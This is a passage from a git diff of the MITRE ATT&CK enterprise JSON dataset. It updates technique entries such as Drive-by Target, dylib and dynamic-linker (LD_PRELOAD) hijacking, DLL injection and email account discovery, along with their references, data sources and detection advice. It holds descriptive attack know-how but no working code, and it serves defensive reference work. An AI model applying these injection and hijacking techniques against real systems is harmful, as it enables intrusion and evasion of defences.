gaps.\n\nSubdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020)", "id": "attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba", "type": "attack-pattern", "kill_chain_phases": [ @@ -10288,7 +10935,7 @@ "phase_name": "resource-development" } ], - "modified": "2020-10-19T01:28:56.664Z", + "modified": "2021-04-15T03:02:43.030Z", "created": "2020-10-01T00:51:28.513Z", "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", "x_mitre_version": "1.0", @@ -10333,8 +10980,7 @@ ], "x_mitre_detection": "Many embedded network devices provide a command to print the version of the currently running operating system. Use this command to query the operating system for its version number and compare it to what is expected for the device in question. Because image downgrade may be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001), it may be appropriate to also verify the integrity of the vendor provided operating system image file. ", "x_mitre_data_sources": [ - "Network device configuration", - "File monitoring" + "File: File Modification" ], "x_mitre_platforms": [ "Network" @@ -10390,15 +11036,60 @@ ], "x_mitre_detection": "Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before.\n\nNetwork intrusion detection systems, sometimes with SSL/TLS MITM inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code.\n\nDetecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.", "x_mitre_data_sources": [ - "Packet capture", - "Network device logs", - "Process use of network", - "Web proxy", - "Network intrusion detection system", - "SSL/TLS inspection" + "File: File Creation", + "Process: Process Creation", + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Content", + "Application Log: Application Log Content" ], "x_mitre_version": "1.2" }, + { + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1608.004", + "url": "https://attack.mitre.org/techniques/T1608/004" + }, + { + "source_name": "FireEye CFR Watering Hole 2012", + "url": "https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html", + "description": "Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved December 18, 2020." + }, + { + "source_name": "Gallagher 2015", + "description": "Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as \u201cwatering holes\u201d. Retrieved January 25, 2016.", + "url": "http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/" + }, + { + "source_name": "ATT ScanBox", + "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks", + "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Drive-by Target", + "description": "Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001). Prior to [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).\n\nAdversaries may upload or inject malicious web content, such as [JavaScript](https://attack.mitre.org/techniques/T1059/007), into websites.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015) This may be done in a number of ways, including inserting malicious script into web pages or other user controllable web content such as forum posts. Adversaries may also craft malicious web advertisements and purchase ad space on a website through legitimate ad providers. In addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592)) to ensure it is vulnerable prior to attempting exploitation.(Citation: ATT ScanBox)\n\nWebsites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).", + "id": "attack-pattern--31fe0ba2-62fd-4fd9-9293-4043d84f7fe9", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "modified": "2021-04-27T17:52:55.302Z", + "created": "2021-03-17T20:33:20.127Z", + "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).", + "x_mitre_version": "1.0", + "x_mitre_is_subtechnique": true, + "x_mitre_platforms": [ + "PRE" + ] + }, { "external_references": [ { @@ -10417,7 +11108,7 @@ "source_name": "Writing Bad Malware for OSX" }, { - "url": "https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.", "source_name": "Malware Persistence on OS X" } @@ -10426,12 +11117,12 @@ "id": "attack-pattern--aa8bfbc9-78dc-41a4-a03b-7453e0fdccda", "revoked": true, "type": "attack-pattern", - "modified": "2020-03-19T15:09:47.005Z", + "modified": "2021-03-30T00:51:57.919Z", "created": "2017-12-14T16:46:06.044Z" }, { "id": "attack-pattern--fc742192-19e3-466c-9eb5-964a97b29490", - "description": "Adversaries may execute their own malicious payloads by hijacking ambiguous paths used to load libraries. Adversaries may plant trojan dynamic libraries, in a directory that will be searched by the operating system before the legitimate library specified by the victim program, so that their malicious library will be loaded into the victim program instead. MacOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths.\n\nA common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X)\n\nIf the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level.", + "description": "Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with @rpath, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable. Additionally, if weak linking is used, such as the LC_LOAD_WEAK_DYLIB function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.\n\nAdversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO)", "name": "Dylib Hijacking", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ @@ -10448,15 +11139,45 @@ "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/471.html" }, + { + "source_name": "Wardle Dylib Hijack Vulnerable Apps", + "url": "https://objective-see.com/blog/blog_0x46.html", + "description": "Patrick Wardle. (2019, July 2). Getting Root with Benign AppStore Apps. Retrieved March 31, 2021." + }, + { + "source_name": "Wardle Dylib Hijacking OSX 2015", + "url": "https://www.virusbulletin.com/uploads/pdf/magazine/2015/vb201503-dylib-hijacking.pdf", + "description": "Patrick Wardle. (2015, March 1). Dylib Hijacking on OS X. Retrieved March 29, 2021." + }, + { + "source_name": "Github EmpireProject HijackScanner", + "url": "https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/situational_awareness/host/osx/HijackScanner.py", + "description": "Wardle, P., Ross, C. (2017, September 21). Empire Project Dylib Hijack Vulnerability Scanner. Retrieved April 1, 2021." + }, + { + "source_name": "Github EmpireProject CreateHijacker Dylib", + "url": "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/persistence/osx/CreateHijacker.py", + "description": "Wardle, P., Ross, C. (2018, April 8). EmpireProject Create Dylib Hijacker. Retrieved April 1, 2021." + }, { "url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf", "description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.", "source_name": "Writing Bad Malware for OSX" }, { - "url": "https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf", - "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.", - "source_name": "Malware Persistence on OS X" + "source_name": "wardle artofmalware volume1", + "url": "https://taomm.org/vol1/pdfs.html", + "description": "Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume 0x1: Analysis. Retrieved March 19, 2021." + }, + { + "source_name": "MalwareUnicorn macOS Dylib Injection MachO", + "url": "https://malwareunicorn.org/workshops/macos_dylib_injection.html#5", + "description": "Amanda Rousseau. (2020, April 4). MacOS Dylib Injection Workshop. Retrieved March 29, 2021." + }, + { + "source_name": "Apple Developer Doco Archive Run-Path", + "url": "https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html", + "description": "Apple Inc.. (2012, July 7). Run-Path Dependent Libraries. Retrieved March 31, 2021." } ], "type": "attack-pattern", @@ -10474,18 +11195,19 @@ "phase_name": "defense-evasion" } ], - "modified": "2020-09-16T16:48:09.391Z", + "modified": "2021-04-27T20:19:15.212Z", "created": "2020-03-16T15:23:30.896Z", "x_mitre_platforms": [ "macOS" ], "x_mitre_data_sources": [ - "Process monitoring", - "File monitoring" + "File: File Creation", + "File: File Modification", + "Module: Module Load" ], - "x_mitre_detection": "Objective-See's Dylib Hijacking Scanner can be used to detect potential cases of dylib hijacking. Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process. ", + "x_mitre_detection": "Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process. \n\nRun path dependent libraries can include LC_LOAD_DYLIB, LC_LOAD_WEAK_DYLIB, and LC_RPATH. Other special keywords are recognized by the macOS loader are @rpath, @loader_path, and @executable_path.(Citation: Apple Developer Doco Archive Run-Path) These loader instructions can be examined for individual binaries or frameworks using the otool -l command. Objective-See's Dylib Hijacking Scanner can be used to identify applications vulnerable to dylib hijacking.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Github EmpireProject HijackScanner)", "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", + "x_mitre_version": "2.0", "x_mitre_defense_bypassed": [ "Application control" ] @@ -10619,11 +11341,126 @@ "User" ], "x_mitre_data_sources": [ - "Process monitoring", - "DLL monitoring", - "File monitoring" + "Module: Module Load", + "Process: Process Creation", + "Script: Script Execution" ] }, + { + "id": "attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825", + "description": "Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from environment variables and files, such as LD_PRELOAD on Linux or DYLD_INSERT_LIBRARIES on macOS. Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions without changing the original library.(Citation: Baeldung LD_PRELOAD)\n\nOn Linux and macOS, hijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. This method may also evade detection from security products since the execution is masked under a legitimate process. Adversaries can set environment variables via the command line using the export command, setenv function, or putenv function. Adversaries can also leverage [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) to export variables in a shell or set variables programmatically using higher level syntax such Python\u2019s os.environ.\n\nOn Linux, adversaries may set LD_PRELOAD to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. LD_PRELOAD can be set via the environment variable or /etc/ld.so.preload file.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries) Libraries specified by LD_PRELOAD are loaded and mapped into memory by dlopen() and mmap() respectively.(Citation: Code Injection on Linux and macOS)(Citation: Uninformed Needle) (Citation: Phrack halfdead 1997)(Citation: Brown Exploiting Linkers) \n\nOn macOS this behavior is conceptually the same as on Linux, differing only in how the macOS dynamic libraries (dyld) is implemented at a lower level. Adversaries can set the DYLD_INSERT_LIBRARIES environment variable to point to malicious libraries containing names of legitimate libraries or functions requested by a victim program.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) ", + "name": "Dynamic Linker Hijacking", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1574.006", + "url": "https://attack.mitre.org/techniques/T1574/006" + }, + { + "external_id": "CAPEC-13", + "source_name": "capec", + "url": "https://capec.mitre.org/data/definitions/13.html" + }, + { + "external_id": "CAPEC-640", + "source_name": "capec", + "url": "https://capec.mitre.org/data/definitions/640.html" + }, + { + "source_name": "Man LD.SO", + "url": "https://www.man7.org/linux/man-pages/man8/ld.so.8.html", + "description": "Kerrisk, M. (2020, June 13). Linux Programmer's Manual. Retrieved June 15, 2020." + }, + { + "source_name": "TLDP Shared Libraries", + "url": "https://www.tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html", + "description": "The Linux Documentation Project. (n.d.). Shared Libraries. Retrieved January 31, 2020." + }, + { + "source_name": "Apple Doco Archive Dynamic Libraries", + "url": "https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html", + "description": "Apple Inc.. (2012, July 23). Overview of Dynamic Libraries. Retrieved March 24, 2021." + }, + { + "source_name": "Baeldung LD_PRELOAD", + "url": "https://www.baeldung.com/linux/ld_preload-trick-what-is", + "description": "baeldung. (2020, August 9). What Is the LD_PRELOAD Trick?. Retrieved March 24, 2021." + }, + { + "source_name": "Code Injection on Linux and macOS", + "url": "https://www.datawire.io/code-injection-on-linux-and-macos/", + "description": "Itamar Turner-Trauring. (2017, April 18). \u201cThis will only hurt for a moment\u201d: code injection on Linux and macOS with LD_PRELOAD. Retrieved December 20, 2017." + }, + { + "url": "http://hick.org/code/skape/papers/needle.txt", + "description": "skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017.", + "source_name": "Uninformed Needle" + }, + { + "url": "http://phrack.org/issues/51/8.html", + "description": "halflife. (1997, September 1). Shared Library Redirection Techniques. Retrieved December 20, 2017.", + "source_name": "Phrack halfdead 1997" + }, + { + "source_name": "Brown Exploiting Linkers", + "url": "http://www.nth-dimension.org.uk/pub/BTL.pdf", + "description": "Tim Brown. (2011, June 29). Breaking the links: Exploiting the linker. Retrieved March 29, 2021." + }, + { + "source_name": "TheEvilBit DYLD_INSERT_LIBRARIES", + "url": "https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/", + "description": "Fitzl, C. (2019, July 9). DYLD_INSERT_LIBRARIES DYLIB injection in macOS / OSX. Retrieved March 26, 2020." + }, + { + "source_name": "Timac DYLD_INSERT_LIBRARIES", + "url": "https://blog.timac.org/2012/1218-simple-code-injection-using-dyld_insert_libraries/", + "description": "Timac. (2012, December 18). Simple code injection using DYLD_INSERT_LIBRARIES. Retrieved March 26, 2020." + }, + { + "source_name": "Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass", + "url": "https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-ii-ddb13ebc8191", + "description": "Jon Gabilondo. (2019, September 22). How to Inject Code into Mach-O Apps. Part II.. Retrieved March 24, 2021." + } + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "modified": "2021-04-27T19:55:18.453Z", + "created": "2020-03-13T20:09:59.569Z", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "x_mitre_data_sources": [ + "File: File Creation", + "File: File Modification", + "Module: Module Load", + "Process: Process Creation", + "Command: Command Execution" + ], + "x_mitre_detection": "Monitor for changes to environment variables and files associated with loading shared libraries such as LD_PRELOAD and DYLD_INSERT_LIBRARIES, as well as the commands to implement these changes.\n\nMonitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.", + "x_mitre_is_subtechnique": true, + "x_mitre_version": "2.0" + }, { "external_references": [ { @@ -10673,9 +11510,9 @@ ], "x_mitre_detection": "Detecting dynamically generated C2 can be challenging due to the number of different algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There are multiple approaches to detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more (Citation: Data Driven Security DGA). CDN domains may trigger these detections due to the format of their domain names. In addition to detecting algorithm generated domains based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.", "x_mitre_data_sources": [ - "SSL/TLS inspection", - "Web logs", - "DNS records" + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Content" ], "x_mitre_version": "1.0", "x_mitre_is_subtechnique": false, @@ -10689,8 +11526,31 @@ ] }, { - "created": "2020-01-14T01:26:08.145Z", - "modified": "2020-06-20T22:17:59.148Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1055.001", + "url": "https://attack.mitre.org/techniques/T1055/001" + }, + { + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", + "source_name": "Elastic Process Injection July 2017" + }, + { + "url": "https://www.endgame.com/blog/technical-blog/hunting-memory", + "description": "Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December 7, 2017.", + "source_name": "Elastic HuntingNMemory June 2017" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Dynamic-link Library Injection", + "description": "Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process. \n\nDLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread (which calls the LoadLibrary API responsible for loading the DLL). (Citation: Elastic Process Injection July 2017) \n\nVariations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of LoadLibrary).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process. ", + "id": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", + "type": "attack-pattern", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", @@ -10701,45 +11561,21 @@ "phase_name": "privilege-escalation" } ], - "type": "attack-pattern", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1055.001", - "url": "https://attack.mitre.org/techniques/T1055/001" - }, - { - "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", - "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", - "source_name": "Endgame Process Injection July 2017" - }, - { - "url": "https://www.endgame.com/blog/technical-blog/hunting-memory", - "description": "Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December 7, 2017.", - "source_name": "Endgame HuntingNMemory June 2017" - } - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Dynamic-link Library Injection", - "description": "Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process. \n\nDLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread (which calls the LoadLibrary API responsible for loading the DLL). (Citation: Endgame Process Injection July 2017) \n\nVariations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of LoadLibrary).(Citation: Endgame HuntingNMemory June 2017)(Citation: Endgame Process Injection July 2017) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process. ", - "id": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", + "modified": "2020-11-10T18:29:30.879Z", + "created": "2020-01-14T01:26:08.145Z", "x_mitre_defense_bypassed": [ "Application control", "Anti-virus" ], "x_mitre_data_sources": [ - "Process monitoring", - "DLL monitoring", - "File monitoring", - "API monitoring" + "Module: Module Load", + "Process: OS API Execution", + "Process: Process Access" ], "x_mitre_permissions_required": [ "User" ], - "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Endgame Process Injection July 2017)\n\nMonitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", + "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nMonitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", "x_mitre_version": "1.0", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ @@ -10840,9 +11676,8 @@ ], "x_mitre_detection": "Consider monitoring for /usr/libexec/security_authtrampoline executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.", "x_mitre_data_sources": [ - "API monitoring", - "Process monitoring", - "File monitoring" + "Process: OS API Execution", + "Process: Process Creation" ], "x_mitre_contributors": [ "Jimmy Astle, @AstleJimmy, Carbon Black", @@ -10870,9 +11705,14 @@ "description": "Microsoft. (n.d.). Get-GlobalAddressList. Retrieved October 6, 2019." }, { - "source_name": "Black Hills Attacking Exchange MailSniper, 2016", + "description": "Bullock, B.. (2016, October 3). Attacking Exchange with MailSniper. Retrieved October 6, 2019.", "url": "https://www.blackhillsinfosec.com/attacking-exchange-with-mailsniper/", - "description": "Bullock, B.. (2016, October 3). Attacking Exchange with MailSniper. Retrieved October 6, 2019." + "source_name": "Black Hills Attacking Exchange MailSniper, 2016" + }, + { + "source_name": "Google Workspace Global Access List", + "url": "https://support.google.com/a/answer/166870?hl=en", + "description": "Google. (n.d.). Retrieved March 16, 2021." } ], "object_marking_refs": [ @@ -10880,7 +11720,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Email Account", - "description": "Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists)\n\nIn on-premises Exchange and Exchange Online, theGet-GlobalAddressList PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016)", + "description": "Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists)\n\nIn on-premises Exchange and Exchange Online, theGet-GlobalAddressList PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016)\n\nIn Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.(Citation: Google Workspace Global Access List)", "id": "attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470", "type": "attack-pattern", "kill_chain_phases": [ @@ -10889,22 +11729,22 @@ "phase_name": "discovery" } ], - "modified": "2020-03-26T15:27:58.933Z", + "modified": "2021-03-31T13:10:46.302Z", "created": "2020-02-21T21:08:33.237Z", "x_mitre_data_sources": [ - "Office 365 account logs", - "Process monitoring", - "Process command-line parameters" + "User Account: User Account Metadata", + "Command: Command Execution" ], "x_mitre_permissions_required": [ "User" ], "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", - "x_mitre_version": "1.0", + "x_mitre_version": "1.1", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "Windows", - "Office 365" + "Office 365", + "Google Workspace" ] }, { @@ -10930,7 +11770,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Email Accounts", - "description": "Before compromising a victim, adversaries may create email accounts that can be used during targeting. Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) Adversaries may also take steps to cultivate a persona around the email account, such as through use of [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001), to increase the chance of success of follow-on behaviors. Created email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).(Citation: Mandiant APT1)\n\nTo decrease the chance of physically tying back operations to themselves, adversaries may make use of disposable email services.(Citation: Trend Micro R980 2016)", + "description": "Adversaries may create email accounts that can be used during targeting. Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or 